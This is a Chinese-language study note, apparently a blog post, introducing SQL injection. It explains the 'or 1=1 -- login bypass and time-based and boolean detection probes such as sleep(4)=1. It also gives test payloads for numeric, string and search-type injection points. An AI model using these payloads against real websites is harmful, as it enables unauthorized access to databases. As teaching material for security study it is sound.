学习笔记-SQL注入1(注入点类型)
SQL注入示例
通过在用户名出传入参数'or 1=1 -- 进行万能密码登录
select username,passwd from user where username ='text' and password ='text' //正常语句 select username,passwd from user where username ='text' or 1=1 -- ' and password ='text2' //--后面带空格 -- '相当于注释符 select username,passwd from user where username ='text' or 1=1 //最终语句 1=1恒为真结果为TRUE,or或运算,所以结果恒为真
判断一个HTTP请求是否存在SQL注入的方式
经典:and 1=1 | and 2>1 | or 1=1 | or 1<1
数据库:sleep(4)=1 | length(user())>3 //length(user())取当前用户名,如果用户名大于3,返回结果为真
特殊符号:单引号(') 双引号(")
注入点类型分类
数字型(整型)注入
输入的参数为整数,如ID,年龄,页码等
实际查询代码如:select ... from ... where id=$id...
测试:id=1' //数据库报错
id=1 and 1=1 //网站正常显示
id=1 and 1=2 //网站正常没有任何显示
字符型注入
输入的参数为字符串
实际查询代码如:select ... from ... where id='$id'...
测试:id=admin' //id='admin'' 返回错误
id=admin' and '1'='1 //id='admin' and '1'='1' 运行正常
id=admin' and '1'='2 //id='admin' and '1'='2' 异常
搜索型注入
进行数据搜索时没有过滤搜索参数,一般在链接地址中有“keyword=关键字”,有的不显示链接地址,而是直接通过搜索框表单提交
原型大致:select * from 表名 where 字段 like '%关键字%'
注入参数为keyword='and[查询条件] and '%'=',SQL语句为:select * from 表名 where 字段 like '%' and [查询条件] and '%'='%'
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 25岁的心里话
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 闲置电脑爆改个人服务器(超详细) #公网映射 #Vmware虚拟网络编辑器
· 一起来玩mcp_server_sqlite,让AI帮你做增删改查!!
· 零经验选手,Compose 一天开发一款小游戏!